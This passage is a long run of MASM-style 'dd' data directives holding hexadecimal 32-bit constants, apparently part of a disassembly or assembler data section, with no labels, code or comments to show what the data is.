dd 81305416h, 0E14D9DA0h, 9488518Dh, 5048202Dh, 0BF290503h
dd 8261A107h, 2C8480BDh, 8CE6C5h, 935079FFh, 0D8E06A44h
dd 90AAE730h, 13246087h, 738E147h, 0B0F20B56h, 637CEEA5h
dd 80163C28h, 9DA8C38h, 4024D8E8h, 0F469A648h, 0AEF0123h
dd 8AF6C0A1h, 8B16C952h, 20CB4D40h, 539C442Ch, 0D3181D4Ah
dd 31B7139Dh, 8035F608h, 0BFC43FE8h, 48727CE1h, 8E00D46Ah
dd 0F896E4CCh, 0DB4D5085h, 54200F30h, 9EF90315h, 0E1E814CBh
dd 0A501C4C7h, 7B2360ADh, 0E4305D16h, 0AE4722F1h, 10AFB17h
dd 0CA9E9B54h, 0F3B08488h, 489126E3h, 87C4E4B1h, 0A0127075h
dd 638DD1h, 0FFA661Ch, 0ACE019C3h, 57009C9Ah, 6248535Bh
dd 0FCD79474h, 0DCF8484Ch, 20A85AC0h, 16006F28h, 23575F83h
dd 4C8C082Bh, 0A4079C6Ch, 5C59E6A3h, 1A00F651h, 22E24847h
dd 131B2E01h, 308AD317h, 2F730510h, 3D407600h, 381295C0h
dd 0C7FC095Bh, 880190F7h, 0E8B6158Eh, 7E075FFDh, 739F28CDh
dd 0C8C9EA9h, 9E3929F9h, 850493F8h, 0F761354Ah, 2000508Ah
dd 28CE1DFEh, 911840D1h, 1790BC51h, 3EE305F6h, 899C68h
dd 1D167EDCh, 76023DA3h, 5293A2E9h, 0C1EFE243h, 0F2C09D21h
dd 0CCC300DCh, 406851E2h, 0EC2C1D6Bh, 9E04825h, 0F8319DC7h
dd 98610A10h, 41EC8C0Ch, 89F88143h, 10176031h, 882209A8h
dd 1F00C045h, 1194514Ch, 14B228B1h, 0EC24D0DDh, 0B1D1ED39h
dd 0D570F800h, 695258E0h, 82608B24h, 409B2E3Fh, 0D4C88C80h
dd 0C75835FCh, 7D2000D0h, 0CA1AF20Fh, 643C289Bh, 0F63F0AE4h
dd 86A445D8h, 688A62DDh, 2EBCE902h, 48CC724Fh, 88FE6434h
dd 932488DBh, 24020BE9h, 4127EFB6h, 49ECF004h, 0A73B0122h
dd 47875445h, 1CD874AEh, 0B9043100h, 777885FCh, 604F0749h
dd 7AFD146Eh, 8BD98A08h, 2E2F8310h, 63C084D8h, 7D033E7Bh
dd 4541120Eh, 0DABFD040h, 78BE0069h, 0A3FA06D7h, 37003864h
dd 0EBAC6E54h, 68169Ch, 81AE335Bh, 0A83A56CBh, 0B68960FBh
dd 0B178FB65h, 95FE0405h, 51D4C006h, 68FD0319h, 5C405205h
dd 0B27A31F0h, 21A1E00h, 7BF597DEh, 0F081C08Fh, 9E6DA427h
dd 1AFBD604h, 0E7C7B01Ch, 0C83E9463h, 0FA0E4F65h, 29153BCEh
dd 0FB8F800h, 32EAE24Ah, 91E87530h, 8DDA4Dh, 0FACCF559h
dd 19311660h, 0A402047Bh, 0E39F5512h, 0BC908083h, 75B9EB5h
dd 974D4952h, 298D50B4h, 3A00FAD5h, 6EF57627h, 0B08CB178h
dd 66EA1FC1h, 0EFAC0049h, 0D064866Ch, 0E22CBC00h, 5BC7156Fh
dd 11B76290h, 9676EC59h, 92F1BD00h, 0FE47CDB2h, 407B82h
dd 54B8790Fh, 71A6410Eh, 9B0C4574h, 0F60C2E4Eh, 6B1F0F85h
dd 75008287h, 7E140F66h, 49436502h, 0E00BFE7Bh, 6989B2h
dd 0C6488277h, 0C83E03ADh, 0BF962600h, 4CCDE3D5h, 0E77981h
dd 31FB393h, 2B1D59A7h, 460E4D00h, 43DF9C84h, 12F094h
dd 0B86CF9A0h, 173295BBh, 0BD229907h, 2C30CBBCh, 7D5B3h
dd 8844BEF8h, 0EFE9814Dh, 0EDA5430Ch, 71F119Ch, 0A6727148h
dd 903B205Bh, 0E407894Eh, 4D4050EDh, 96AB6590h, 38171D56h
dd 0C51440A1h, 42F7222Ch, 0D74F80A0h, 0E16FEA00h, 0C89C169Eh
dd 76700EFh, 4A12F856h, 3D0024AFh, 0CF60AC5Bh, 0A10C05A5h
dd 0CB3F84h, 3E364F30h, 510E4A04h, 68B60917h, 174900EAh
dd 0E466D859h, 415D7531h, 1B0004D2h, 0D518C26Fh, 9A79DC14h
dd 694A4F4h, 0CEA071FFh, 870260F3h, 3086C8FBh, 0A15DE048h
dd 0C26818BAh, 1D3C81AAh, 52890F07h, 10B0C359h, 1642A92h
dd 0E06640C0h, 0D4A6F728h, 25005D65h, 1EED9EE7h, 59E39Bh
dd 0F6BCB169h, 0D864284Fh, 7A34D301h, 0C6C4EF5Ch, 0D9D5C0h
dd 0F79A5E20h, 5FE07110h, 0EC404D1Eh, 0EB2D8441h, 3CC91835h
dd 80480880h, 4EC772DEh, 7AFC3B07h, 0C8F07CE7h, 0E6708E07h
dd 0B2EC004Bh, 1A37F4D5h, 0C7030C4Fh, 9E51836Fh, 968380h
dd 36DCBE68h, 0ABEC5618h, 0F274CB10h, 9A3A6800h, 0D71F2722h
dd 70825F0Eh, 0B7D380D6h
dd 2E1830h, 5D97B56Bh, 0BC577DCFh, 0E947B901h, 0C43A5C88h
dd 9AEBFA40h, 0EC36077Ah, 415D7255h, 803D26A5h, 0F0461711h
dd 7799BCDh, 8C5492BEh, 0FCB343B6h, 0D1372003h, 900C0D2Ch
dd 4B404FCFh, 109E8F2h, 1979851Fh, 5CD97A82h, 91FBF0h
dd 0CF09F867h, 875FFF6h, 7032F900h, 0E938D5ADh, 30F074BDh
dd 9520B81Eh, 0B01EFA6Eh, 0C03051Fh, 0C0F1A27Fh, 60A56051h
dd 0C889B8FBh, 90307059h, 5F3A90FAh, 6C17BACh, 2AFB468Ch
dd 650018FEh, 0EFF4D6B7h, 253BD7h, 0F788F1AAh, 83996375h
dd 0E25CC201h, 1455D305h, 0F2F5D8h, 20891DAFh, 282E498Dh
dd 0A739F803h, 8F683AE1h, 7796FF71h, 6D1BD8h, 0CD869D37h
dd 19EF535h, 63B28900h, 0C3B8FF85h, 0C8EE007Ch, 41D97BEDh
dd 0E300BF35h, 8B1337E9h, 333CC6h, 0A93D0965h, 0B42FC951h
dd 7F798C00h, 0A073B266h, 3F270098h, 1DF77B8Fh, 8EB03A07h
dd 82002B76h, 46BD63A7h, 0A23F7Ch, 3034F1CAh, 162CFCDEh
dd 5DCF2800h, 6E9D2329h, 339A01E0h, 34B9880Ah, 8021BAE9h
dd 0CDDF22FEh, 0A09CC7h, 84935D64h, 0F44B1CA5h, 5801DC30h
dd 0CB79E9h, 4208E39h, 0AB1619B7h, 45D38C0Ch, 18F321C5h
dd 581C9648h, 512C1B3Dh, 0C02428E4h, 42FF6103h, 991CC02Bh
dd 418700BEh, 254FF22Ch, 3D00D19Eh, 7A702A4Eh, 0C137B75h
dd 0F24DACD8h, 8121F0D0h, 22F3051Eh, 358E80D3h, 0D1C40B48h
dd 0D4141AA5h, 0F1F02201h, 81D0D975h, 0CD0C1988h, 9051C41Fh
dd 38F41412h, 0FDF0C8h, 0B944B65Dh, 42DD69A2h, 0C11C5C0Eh
dd 933C409Ch, 73465F7h, 47139557h, 14A02F11h, 0B3D5CCDh
dd 0BC630400h, 0DFF3F28Dh, 61810010h, 4C891517h, 0CA1E7DE4h
dd 6A409CA9h, 0FB2DB9ABh, 0D4FD016Ch, 7D3CB645h, 4FEFCC92h
dd 1F432B07h, 7EC04CF9h, 194B4Eh, 50FDD8B5h, 1B5D5AE3h
dd 3DFCC403h, 937F394Dh, 0EDDB087h, 306B0019h, 7D378B59h
dd 0B80043FEh, 0EE934B4Fh, 81C1E8h, 836C57B3h, 0BFC295Ah
dd 69F8D805h, 4C009716h, 2663B00Eh, 3660798h, 431824h
dd 0A75DCD8Fh, 3A07737Dh, 0F1721687h, 0DBAF5880h, 4FED00FFh
dd 5AE159CDh, 9D005FBEh, 0F98757D5h, 79420384h, 6C140109h
dd 4C1D9B93h, 268EC0D4h, 6A20D4A0h, 19CB73Bh, 88297D11h
dd 1880217Fh, 7CA03724h, 0C17BDBCDh, 77F35Ch, 79411FBEh
dd 0E0151160h, 2A0D606Dh, 0BB62AE7Ch, 0FBA0691Ch, 20D8BFC9h
dd 296E3504h, 460D120h, 52F468B0h, 0CE839h, 0EF2D132Fh
dd 0C01B018Eh, 0ED9D1190h, 0F8007142h, 0E5053D32h, 16040897h
dd 0F069560Ah, 0F47442C8h, 82B8AB00h, 0A8DD77FAh, 69CA1CCDh
dd 139A077Eh, 4BE1901Bh, 2B67ED9Ch, 0F2B06A58h, 0E6B4C70h
dd 770A1926h, 843484h, 0EFD52D88h, 70A80320h, 732FFC40h
dd 80710C89h, 0A11DB1B8h, 2DD721h, 0C38CEC10h, 65A4FBC7h
dd 27E320C0h, 77214Dh, 523E8004h, 584AFC9Fh, 2D282400h
dd 5CB54669h, 0FAA41F11h, 0B8DC54AEh, 0C449D600h, 50167E53h
dd 2FD1AC15h, 86ED0094h, 7D3DC341h, 0C848C048h, 911095CFh
dd 40A8B54Eh, 0E15F01Dh, 21E02C8Fh, 0F95FB85h, 609AF03h
dd 0A89B42F5h, 28822F0Ch, 90C2CAh, 3558C571h, 45E4E204h
dd 6B015706h, 1A86836h, 4A42B740h, 60D720B5h, 4F3037F2h
dd 232881A8h, 59430053h, 0F47A62F7h, 16063E8Bh, 0EDE4076h
dd 0F1440FD6h, 800069B8h, 522B9933h, 6FB5C200h, 1239C10Bh
dd 0FC233650h, 0A52A3870h, 3D02703Ah, 65931D53h, 13BD18D1h
dd 7C7D1000h, 0EE5795F8h, 0E955503Dh, 0F4C90931h, 68205D20h
dd 0D481F929h, 0B81A0701h, 4DAF418Eh, 92F33050h, 95930217h
dd 0EBD82FCFh, 0A040EE05h, 52928BB1h, 0CD4B3FA1h, 5DA426h
dd 4742F1D3h, 83246830h, 1640080Bh, 10E950A1h, 84FBC865h
dd 648719EAh, 6A326920h, 0FA1200E3h, 0ED49D1EFh, 0AE039CDDh
dd 35E184D6h, 1D98D6A8h, 454CE48h, 80F10F78h, 0F336CCC0h
dd 0DC0468F4h, 5940791Bh, 497E91D0h, 0A375000Fh, 9FB8474Bh
dd 0F801A499h, 0E3480D4Dh, 0D94161F9h, 27E47E14h, 43450ADDh
dd 3E0697Fh, 4DA9B020h, 0DF1C188h, 0A43DE238h, 0F40CE5CBh
dd 2660B5h, 0D08ED6E7h, 470CED6Eh, 0F5FC1571h, 9D313601h
dd 7DD87BA4h, 0DEBDB840h, 8F6C0E88h, 0B1470F6Ah, 9BF410EFh
dd 0CD782DB5h, 3665951Fh, 0DD2E4C80h, 2D61597h, 0AD54BEC1h
dd 3C4437DFh, 91412324h, 0A5487338h, 0CC5A8A3Ch, 99072800h
dd 7EEB2966h, 0C0D0000Ah, 914DAA0h, 0C8FAA230h, 24DF453Dh
dd 105C2841h, 80111BB6h, 0E810232Eh, 1D3D0E5Eh, 3FA082DBh
dd 7CAC90DDh, 0A5A23300h, 0EF046222h, 0FE5404B2h, 0CC446DE7h
dd 0BEE24258h, 3C7AFA10h, 0C3F45BC4h, 3BF8569Ch, 46069A85h
dd 0EAAB05E1h, 59BB0038h, 5702C7E9h, 40954CBh, 8FF4C25Ch
dd 2018AFB8h, 5EE77C38h, 19498EFh, 51B6F71Ch, 60CCC39Ch
dd 570ED8DDh, 65A681F5h, 0E041F1BFh, 74BE3323h, 0F253F7E0h
dd 0E12B3FFAh, 699747BEh, 150009D0h, 4F52A80Eh, 644328C4h
dd 48F830A0h, 0E900DD61h, 3840C177h, 17AF3Ah, 79D965AAh
dd 0F2A094D3h, 380CFF30h, 0ACD469C2h, 449604E4h, 84F2E13Dh
dd 32E42364h, 43E02100h, 0AA406E66h, 0D3A11FACh, 2012C019h
dd 9DF07683h, 0BB66D800h, 0E825C1C3h, 146F618h, 9168AE61h
dd 2644418Fh, 30EE24E8h, 0C06DAF02h, 886583h, 3EBF259Eh
dd 0BA00B36Fh, 0B1738C04h, 24B91945h, 887C3FE3h, 4C00C255h
dd 0E7992E5Dh, 71820F7Fh, 14C35A13h, 51C87DEDh, 28D3C332h
dd 59730200h, 15AF730h, 3BFD4440h, 70EDE999h, 3600DED2h
dd 69B0A8C6h, 3CF4BBC3h, 763D8AA6h, 87B9600h, 0BEBCA7A2h
dd 0BD721900h, 0C7A56AE8h, 0ACB80048h, 21A0BBB4h, 3400C995h
dd 58C025E9h, 805AB2h, 3AC7AED3h, 4B376C5Eh, 0B1004C7Dh
dd 6613A7F3h, 0E2B62Ah, 0C23DA918h, 65F04E08h, 0CE5C7824h
dd 5A115E07h, 0ED57B760h, 29A80EC5h, 56808536h, 1D781541h
dd 0D155DA00h, 0D222D067h, 3086A0BEh, 1A183EF0h, 6378A40Eh
dd 0D0A5B046h, 11F9562Ch, 0B2F32600h, 46FDE1h, 1DF02B5Dh
dd 560876FFh, 57AC5500h, 0FAC7AAF6h, 2BF5003Fh, 7D84B8B4h
dd 0BA90D970h, 0AF683500h, 0A15186EEh, 0A6FD00D1h, 0C81A9AAAh
dd 2BE4B91Fh, 288E8003h, 0EECB26h, 3F207120h, 0BCABB425h
dd 97D8CF00h, 0AEC3825Eh, 1F4F05AFh, 3330D6h, 485486C4h
dd 0F0DF165h, 28E03261h, 7DA692F0h, 0AD20004Bh, 0F7092CD3h
dd 4A00B5B2h, 60088AA7h, 65F1DB9h, 35654976h, 1100089Ch
dd 688A9D64h, 184C2E3h, 2CCA524Ch, 0C4355046h, 0CD48A33Ah
dd 90FB007Dh, 0A6FAC444h, 9936020Ah, 936529B0h, 740B0848h
dd 0E2374C00h, 792C694Eh, 0ED36307Ch, 4AF8B7E0h, 0A8B6B230h
dd 0C0EB5F80h, 0F4889798h, 0AB0AA301h, 0BCB3263Eh, 683A1A0Dh
dd 1C8196F8h, 80FB8729h, 0A97B5446h, 5D05A756h, 0AB9FB32Fh
dd 2500C412h, 4FDC0804h, 9FAA6h, 44D24A14h, 0FB3FE665h
dd 83F1AA02h, 876FF966h, 0A22E52BCh, 62B514B9h, 86C97F6h
dd 0CA6069B7h, 3981A371h, 8C007947h, 0CBC54B23h, 4C042B49h
dd 527CED28h, 0BF4008Ch, 0E34B461Dh, 4600B80Ah, 0EF48219Ch
dd 2ED80327h, 0CE3BD754h, 305500D8h, 1379B028h, 860003B4h
dd 2B913646h, 6BA68CCh, 0FAEA2C2Eh, 6700304Dh, 87A778E8h
dd 0FF8CA03h, 0D4567C1Eh
dd 23FE4A60h, 140024B0h, 2AD066F4h, 1F6240D6h, 0E0BABA4h
dd 36C171h, 0D9B079BAh, 273F64D8h, 131C922Ch, 0EAA78830h
dd 0CF1D02F6h, 5A0C5768h, 807DEF02h, 2C62F2CCh, 0AADC009Ch
dd 110F01DDh, 0F600663Dh, 9581429Fh, 18704D7Dh, 0F8EBEFAFh
dd 5491FE8Ah, 42478F78h, 304200A7h, 0A62A4D22h, 0CB9F01C6h
dd 0E22EB6A8h, 24C1215Ah, 821C1704h, 93C51AACh, 9FC7D2D6h
dd 591218C0h, 620D0EF0h, 5A89FF90h, 13FED800h, 6090A1FAh
dd 3751BB00h, 0D5AA9961h, 84161F17h, 1F600D3h, 83BDB72Dh
dd 26CA9C00h, 0CE4B597Eh, 4EE51E52h, 5E43001Fh, 0C53F7703h
dd 2EDCF70Bh, 0F3F1863Ah, 14EB00F0h, 0E163672Dh, 0A20F5AA9h
dd 601A6B34h, 0C7804801h, 0B3EF00FDh, 0D3454341h, 8C5C0515h
dd 8DEC0755h, 6921B4D7h, 5823B8FCh, 9B4B726h, 583121D8h
dd 429711B5h, 0D2C40BD1h, 0D18801F2h, 0C2B8988Eh, 499C4007h
dd 42612C83h, 26657FA8h, 36A9B440h, 0A7E74D5h, 7220DB82h
dd 0C1BB0080h, 0AB8E61B9h, 73DCC901h, 0BE3A029Ch, 0A8A78020h
dd 86DDFDE8h, 8B2FF601h, 569E066Eh, 5F4CD808h, 5A383Ch
dd 0ED520C3h, 305C2Fh, 0C5B11295h, 7B9E5B38h, 94C3CA00h
dd 7D68F518h, 0A03A1230h, 0AB4816DEh, 0E2019D00h, 24656417h
dd 229C9697h, 0A0A7FA8Ch, 0A5C6A504h, 41C520Ch, 0BD6A1880h
dd 0D2C53700h, 53959DEFh, 5D0C1666h, 7F03EA6Ch, 89A2F93h
dd 5CE92A18h, 4287EC88h, 4410DA1Eh, 0BEF4205Fh, 8A17621h
dd 7A426A71h, 909810CEh, 527224A1h, 24A2340Ch, 0B10ADC6h
dd 7E18A0E7h, 0C62884AAh, 0C2540C8Dh, 8C31BD18h, 0E8564902h
dd 0D4316808h, 0D05AF1DDh, 8AAF0C43h, 618E26EFh, 1ABB5500h
dd 1FDEC65h, 0CEC50BBEh, 4D845999h, 0C070877Ah, 5EAA63A8h
dd 7F6E0C17h, 0ECE91E1Dh, 0F3423703h, 73DD8009h, 0DC391380h
dd 95984040h, 213E8C5h, 0D9319863h, 0F1908959h, 4EE7E0h
dd 78F44137h, 24D3DB94h, 98007672h, 0F261854Dh, 628CAA6Ch
dd 0B8647E82h, 801CAC60h, 0F1073300h, 0CB945A3Ah, 1528FEB3h
dd 4C6A58CCh, 35EA167Eh, 0BA5C1E3Eh, 30317380h, 49D32E4Eh
dd 83DC30F9h, 6EFB8000h, 64A4EADCh, 774A0195h, 0A0D86919h
dd 235860D5h, 1A2C417Dh, 8500FC56h, 0DCC6F196h, 9AD33AB4h
dd 0BC1C4229h, 0E0499710h, 0F0D0C3h, 1F4D7B84h, 0DF7894AEh
dd 0E08F9D01h, 256D938h, 1E18C05Eh, 0E17E6817h, 10D10C00h
dd 47EBF7FAh, 623800BEh, 0CA33DCD9h, 4C00A9DDh, 9829FD19h
dd 287DCFh, 0FE25021h, 0AD9C07A2h, 0DAD35501h, 3B18C7A4h
dd 0E0283F4h, 6FAF1C0h, 33DD40E0h, 0FD009D1Ah, 0EE0FF7CFh
dd 24B88EFh, 1120DF7Dh, 0DCE0FC38h, 9F00E2B8h, 0D6F358C2h
dd 19871Ah, 5F5EB230h, 0D3A96EADh, 2663983Dh, 993FE6B1h
dd 0B42988CBh, 9821E1D0h, 0D14100A8h, 0F5EB505Bh, 7F29B06Eh
dd 32705853h, 305D2177h, 523BF4F8h, 9A834C60h, 6BC82953h
dd 1500FE20h, 0AA372448h, 3A0325h, 6D9AD955h, 7CCCC7FCh
dd 1A70D7E8h, 8708FA60h, 32D3912h, 47E78699h, 301D5773h
dd 68837D38h, 3D4A6977h, 2B804318h, 61A95AABh, 7A03FA5Eh
dd 3672676Eh, 776BC85Fh, 0A00500A3h, 3A82DE19h, 0E57E1848h
dd 696C91B0h, 3DD57058h, 0F900658Fh, 25504441h, 2713D495h
dd 0EA004717h, 87DF5957h, 0EA620089h, 9DD6198Dh, 0B0C0FEF0h
dd 0B9E4A78Eh, 0E87900D9h, 0E2577480h, 0FB0017FFh, 6B2C02ADh
dd 0A5F6F8C4h, 984C73ACh, 0E98A009Eh, 73223CBCh, 52E7E47h
dd 816785F7h, 61F10083h, 76EE211Eh, 41D9DC00h, 16E98DD0h
dd 7CF82B38h, 489EF144h, 0E23FBFCCh, 4175009Dh, 2A384058h
dd 3493B3h, 0B02DD01Eh, 5B00AD2Ch, 0FB41478Ch, 95CD5Eh
dd 13297BE5h, 0B1ED832Dh, 30D14A01h, 0D55947E9h, 49E970h
dd 0A765504Bh, 0BE7D85BAh, 0A6E0DC91h, 80671Eh, 271F6B72h
dd 0AA982C1Ch, 2E521015h, 1D02D684h, 8B386A43h, 0D800DFA8h
dd 107B0E5Dh, 0BA3A0A00h, 0AD288EAAh, 841B0F48h, 818042F5h
dd 0D4768CAh, 697FB900h, 76966D0Eh, 249263h, 0C0906FABh
dd 44540D8Eh, 9D002A74h, 2E6C4B9Ch, 0A8E013C9h, 0A1EDD0h
dd 753A45FAh, 423DBEA6h, 0AE643248h, 60164213h, 50D32B08h
dd 4898987Ch, 28584726h, 0A1D53700h, 4F4BE51h, 3CD09063h
dd 0E00C8A35h, 0E67FB54h, 39A67275h, 0C8D40702h, 0AD100440h
dd 32560600h, 0D1C93058h, 2CEF2998h, 0BC0054FCh, 74D4884Bh
dd 0EE189590h, 0CFF4A8DBh, 0F92E0A61h, 7880D6B1h, 38C5C088h
dd 442B1EF7h, 79C2CA18h, 1C18AC20h, 73E08BA6h, 0C46752A4h
dd 69D8E626h, 9A8FBD00h, 33007BD1h, 575B1F90h, 60A3CCB7h
dd 0A9D611E4h, 636F46D1h, 2F90040h, 0CE623DCEh, 0E0046E11h
dd 8094D70Ch, 0C7DFF666h, 10405D61h, 78808716h, 837E452Ah
dd 0FE0C673Bh, 0F03940EFh, 0E240904Bh, 80F020B8h, 1330E048h
dd 70402F52h, 35189998h, 0FFBB03Fh, 0A914EA03h, 254837ECh
dd 29C8E52h, 40DF8132h, 64A7h, 2D075FE9h, 856F1F0Bh, 12A9A201h
dd 0DF6578C4h, 60049A8h, 0BA50CD28h, 6600E941h, 0EC99F391h
dd 18C5E1BBh, 5E67B162h, 1E006E54h, 0CCF93C2Ah, 72887CCFh
dd 1064E18Eh, 90D849A0h, 81F14280h, 57001988h, 55C535BEh
dd 625B44h, 8D38C385h, 0AB70A6C8h, 47F46E0Ch, 132F8054h
dd 984D650h, 0C86EAD8h, 0B1003164h, 5196AE09h, 3CBAE2h
dd 0E62603E0h, 9734FF49h, 1F954300h, 37750966h, 0D8620004h
dd 1459A736h, 0C4789CC1h, 3E262910h, 0D415FDF0h, 4E6C5D07h
dd 0E9B27CC2h, 10A5E38Eh, 0F0956638h, 30CC15F5h, 0DC98679Fh
dd 25181631h, 0A6A0DD66h, 68818732h, 0E7F918ADh, 59BC3880h
dd 0DB238ED4h, 737B6CA8h, 95855600h, 29E543CEh, 0D71100FBh
dd 9247F55Ch, 490AFA9Eh, 10CCE689h, 17F6B605h, 9E8FA9C0h
dd 0BB8015Ah, 44300CF3h, 0AF62D0EEh, 2C7A57h, 805D35ABh
dd 1C9F47CFh, 8A8C7D3Ah, 581857CEh, 0FD18B5B4h, 9A68A2B6h
dd 0F2D607C7h, 47FF266Ch, 39B5044Ch, 0B8572D41h, 4B7A398Ah
dd 0ED066060h, 0AF403D2Dh, 0AFF70DAh, 0B41A8CF3h, 0E2D95028h
dd 15C11F01h, 2DBACA16h, 0DF493182h, 609CCD37h, 2203C400h
dd 0CA40F36Fh, 0B3EC1C1Ah, 4832D4F1h, 90C9E3C7h, 0CA3F2FE1h
dd 0D98EFA0Ah, 25D8A4F2h, 0F1B718D3h, 0FC5A301Ah, 0B58890D1h
dd 196B6603h, 3ACA90BEh, 0BC9B504Bh, 2EC0A028h, 0F3051414h
dd 0A9E064CCh, 0D820ED89h, 0A19A00F2h, 6B16AE6Fh, 54A7F30Dh
dd 67452380h, 83E623Ah, 0BCF7ACAh, 501DD0F0h, 0DA6C50h
dd 0B6AF60D2h, 0F614C992h, 0D65E053Dh, 4587C0D4h, 401DC7B6h
dd 9AFA983Fh, 74D2363Eh, 83B1630h, 7CA6ECF6h, 619C1419h
dd 17F07CDAh, 7D52BCE0h, 697403E0h, 430656AFh, 0D3C07C88h
dd 180F9ADBh, 973CE8A8h, 3196190Dh, 0ABDD089Dh, 89558081h
dd 0A3FDD6B3h, 0A3608C50h, 0DD065AC8h, 0AAF34051h, 0AD81B619h
dd 0F60356E8h, 0BF361685h, 0F876A083h, 0B18C7A0h, 91A7CF67h
dd 61AD8F9Ah, 94B7E478h, 861A08C3h, 0FCDDE1B3h, 8811E844h
dd 7128E0B0h, 0DDCB2467h, 50929824h, 796320F6h, 37DA2590h
dd 0C6703D58h, 6BE8F89Dh, 0B7B879C0h, 6A56B3h, 1876154Dh
dd 94579798h, 1DD1DD3Ah, 3716CE9Bh, 0F7063B1Eh, 6108DCB3h
dd 57718B2h, 2E20B6C5h, 18926110h, 0F0CFB997h, 41C74917h
dd 0B7C1D8A1h
dd 88EE2EAh, 3CFF51F3h, 67208AB2h, 300CB58Fh, 0A4267708h
dd 0A71B4359h, 7E1FB309h, 181E7418h, 103D1397h, 0B40EDDF0h
dd 98A2BB17h, 19DE3650h, 282BAA73h, 1D40BE9Ah, 77068517h
dd 60383C4Eh, 65B70868h, 0F6E8B4A5h, 8F182E65h, 0C0E182A0h
dd 0EED33708h, 503097B6h, 295A4084h, 6F26E8B8h, 0E4A0301Bh
dd 0CCC3B0F8h, 1504C277h, 0FFB28C1Ah, 831836C0h, 31931702h
dd 769403CEh, 783E1AF7h, 0A14066B0h, 7C55F008h, 35D73105h
dd 0FC0F050h, 32722602h, 9600BFD4h, 58B8159Bh, 0B8633817h
dd 77A0F841h, 50C61C34h, 0F3E0F912h, 8D3128BCh, 9827F431h
dd 5710D2C8h, 9843F563h, 0A9291F68h, 72143C43h, 0F01BCC04h
dd 0F1100803h, 4C80BD30h, 6D418A43h, 6A00F4E6h, 0A504C4F9h
dd 8E75BFh, 0C9B9F6DBh, 7378BA0Eh, 7181B53h, 5F6C388Dh
dd 0AE753900h, 7A4F00B5h, 0BEA31DB3h, 1CA51949h, 9F989A83h
dd 2D1888DCh, 2BBC0001h, 4BC2C428h, 7DFE1CD3h, 9E60C57Ch
dd 2C3C2120h, 0A7623803h, 0AB1E01D8h, 0DFE200A8h, 9DE7C2CBh
dd 0E1B32500h, 22121485h, 67E0C0CCh, 1BD21B1h, 0E238F666h
dd 3E81F0E2h, 410F6937h, 0E1005A36h, 62120B27h, 281DF7FFh
dd 82003804h, 0BD5702D5h, 3019059Eh, 202CCDA2h, 82FE6554h
dd 183BA20h, 0E489F941h, 98338A5Ch, 0FD4058B0h, 0CBD87A0h
dd 0E98C2B62h, 10C05361h, 0DDD40878h, 8100A9CEh, 0DCE7F6A0h
dd 60E46FF2h, 3D57FBC1h, 8B040F83h, 450635E8h, 8C0FBCA1h
dd 33420A7h, 0CEDEE102h, 57E10D08h, 4A1ABA7Dh, 16250024h
dd 1A7D195Ah, 0C0C1002Dh, 0DF4478A9h, 3A0CB230h, 887A96F4h
dd 0E0140076h, 67E1B40Eh, 350071DEh, 5CBBF377h, 29CB8D32h
dd 0C01C8478h, 80A5E568h, 317DF40h, 0B25354C2h, 72A3520Ah
dd 0C3C44110h, 9DDE1CF0h, 3FC0F20h, 0C2F960B7h, 5C987F3Ch
dd 0F500DD52h, 0D779125Eh, 5645E48Fh, 138028CDh, 0D1546446h
dd 767E722Dh, 4A8502C9h, 0A6603D25h, 0F9009BEDh, 0A1C9D620h
dd 12C861Bh, 0A7A885Fh, 80D0B68Bh, 0D209DD38h, 1D69CA85h
dd 0E11CB356h, 0D425C8E0h, 3D03F98Ch, 8A8E60A0h, 4A08D960h
dd 0E5B35CDCh, 4502204Eh, 0D31CCD35h, 10CB1D03h, 0F0C59C30h
dd 7101CCC6h, 387D80EEh, 67B4AC02h, 40B97F6Fh, 0F0B22235h
dd 0F827C91h, 0B7F10507h, 0E20DB300h, 8C3DAB5h, 8FC82895h
dd 0E893B81h, 3723C0h, 17D2F6D6h, 746E616Ch, 1F076D77h
dd 993C89CEh, 2527B410h, 87B907C4h, 43B219BCh, 0A7E278CCh
dd 7B791C0h, 0E50E33FAh, 804B03D5h, 0C8D45215h, 341E52F5h
dd 851560C3h, 9C001EEAh, 29C8A8B9h, 60181F35h, 6870811h
dd 89CF7803h, 79D56F7Ch, 1E0A74E0h, 9F927h, 0E2C9DB47h
dd 945FE855h, 2842F0A8h, 3DDB9C0h, 0DC8079E5h, 40E3633Fh
dd 0F039AE2Fh, 7B2053Eh, 98788F6Fh, 74710C08h, 0BC4866A2h
dd 0B46DC203h, 1012EEE7h, 1E1FC0A0h, 0C70C13DEh, 0E3E7085Bh
dd 0B23EDC10h, 3005A737h, 0E71DA2C3h, 0F8380B86h, 0C009C00Fh
dd 587B496h, 0DAA8E463h, 49381831h, 0C2D3B0BBh, 7E59C8A0h
dd 0A07B90Ch, 627388A3h, 485308A1h, 25401040h, 205638CCh
dd 0A2843107h, 0F0266F40h, 20DFD3E7h, 6710C818h, 0C031CCD0h
dd 3A3327A8h, 0C65D035h, 37BAE750h, 3860B610h, 0E5602E98h
dd 5AEB3F95h, 0E92D589h, 10E34003h, 0BAB175A1h, 12582010h
dd 78944895h, 7A159714h, 0D427ECh, 0E78D1E1Ch, 0C4943135h
dd 826C71C0h, 9C821A80h, 8497A87h, 102E221h, 0BAAC8320h
dd 45181914h, 8A6BB82Bh, 0B0340720h, 36F58705h, 0B00DB40Ah
dd 8C92670Ah, 34A4C700h, 642775E5h, 81D90831h, 247855A4h
dd 0D0C670ACh, 0F8088C35h, 0E7A20734h, 43A11875h, 28319EF5h
dd 53D51915h, 6C3728BEh, 81C1C408h, 40AD359Ch, 0FC4B588h
dd 0D45308C4h, 1A02609Eh, 63A50B3Ch, 1E12FC01h, 2937C08Ah
dd 0D45A09D8h, 0ED045C3Ch, 3973478Fh, 9E5CC080h, 18C8DCDEh
dd 6B32F888h, 3FA7B909h, 11040233h, 50D4B0C8h, 0EC60C5C5h
dd 2C2C2043h, 9E31F36Bh, 0B43C987Bh, 24075030h, 0F0F0C55Ch
dd 7C0081F9h, 4D4070Ch, 0A191139Ch, 0A82009F0h, 938E3287h
dd 0FC435208h, 0B2286BC0h, 6420C724h, 0CF506701h, 24D18578h
dd 1528CF0h, 42C6C1F1h, 0CC0C9493h, 2F07DEB3h, 0CCB6715Fh
dd 4A761990h, 7BE40CD7h, 0C5088645h, 0B7D9C305h, 202C6ACCh
dd 4CFF08EBh, 0AA1E0E84h, 657B3400h, 7AA899E3h, 1F93780Ch
dd 36866A5h, 0B7CC0105h, 289657E2h, 71C83F00h, 76186F82h
dd 648008Ah, 89C112D1h, 703092DEh, 0B6B1087Ah, 8024A7ADh
dd 41CEBB47h, 76011EB8h, 0A85EF9EAh, 184B564Ch, 81A41C78h
